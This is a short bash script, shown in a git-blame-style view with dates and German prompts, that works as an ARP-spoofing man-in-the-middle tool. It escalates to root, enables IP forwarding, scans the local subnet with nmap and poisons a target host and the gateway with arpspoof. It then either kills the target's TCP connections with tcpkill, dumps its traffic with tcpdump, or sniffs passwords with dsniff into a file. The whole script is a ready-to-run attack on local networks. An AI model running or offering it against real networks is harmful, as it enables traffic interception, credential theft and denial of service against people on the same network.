2019-01-07 20:23:02 +01:00
|
|
|
#!/usr/bin/env bash
|
2017-09-12 01:28:58 +02:00
|
|
|
|
|
|
|
set -ex
|
|
|
|
|
2017-09-12 01:34:17 +02:00
|
|
|
if [[ $EUID -ne 0 ]]; then
|
|
|
|
echo "This script must be run as root" 1>&2
|
2018-02-02 13:30:19 +01:00
|
|
|
sudo $0
|
|
|
|
exit 0
|
2017-09-12 01:34:17 +02:00
|
|
|
fi
|
|
|
|
|
2017-09-12 01:37:03 +02:00
|
|
|
echo 1 > /proc/sys/net/ipv4/ip_forward
|
|
|
|
|
2018-07-19 16:14:33 +02:00
|
|
|
gateway=$(ip route show | grep dev -m1 | cut -d" " -f 3 )
|
2017-09-12 01:28:58 +02:00
|
|
|
|
2018-07-19 16:14:33 +02:00
|
|
|
if [ -z "$1" ]; then
|
2018-11-11 04:24:37 +01:00
|
|
|
ip link
|
|
|
|
read -p "Wie heisst die Schnittstelle? [enp4s0\eth0] : " modul
|
2018-07-19 16:14:33 +02:00
|
|
|
else
|
2018-11-11 04:24:37 +01:00
|
|
|
modul="$1"
|
2018-07-19 16:14:33 +02:00
|
|
|
fi
|
|
|
|
if [ -z "$2" ]; then
|
2018-11-11 04:24:37 +01:00
|
|
|
nmap -v -sn ${gateway}/24
|
|
|
|
read -p "Wie heisst die IP? : " ip
|
2018-07-19 16:14:33 +02:00
|
|
|
else
|
2018-11-11 04:24:37 +01:00
|
|
|
ip="$2"
|
2018-07-19 16:14:33 +02:00
|
|
|
fi
|
2017-09-12 01:28:58 +02:00
|
|
|
|
|
|
|
arpspoof -i $modul -t $ip -r $gateway &
|
|
|
|
|
2018-07-19 16:14:33 +02:00
|
|
|
sleep 2
|
|
|
|
|
2018-07-22 21:00:32 +02:00
|
|
|
if [ -z "$3" ] || [ "$3" == "tcpkill" ]; then
|
2018-11-11 04:24:37 +01:00
|
|
|
tcpkill -9 host $ip
|
2018-07-19 16:14:33 +02:00
|
|
|
elif [ "$3" == "tcpdump" ]; then
|
2018-11-11 04:24:37 +01:00
|
|
|
tcpdump -i $modul -A host $ip > out.txt
|
2018-07-19 16:14:33 +02:00
|
|
|
else
|
2018-11-11 04:24:37 +01:00
|
|
|
dsniff -i $modul -mc > out.txt
|
2018-07-19 16:14:33 +02:00
|
|
|
fi
|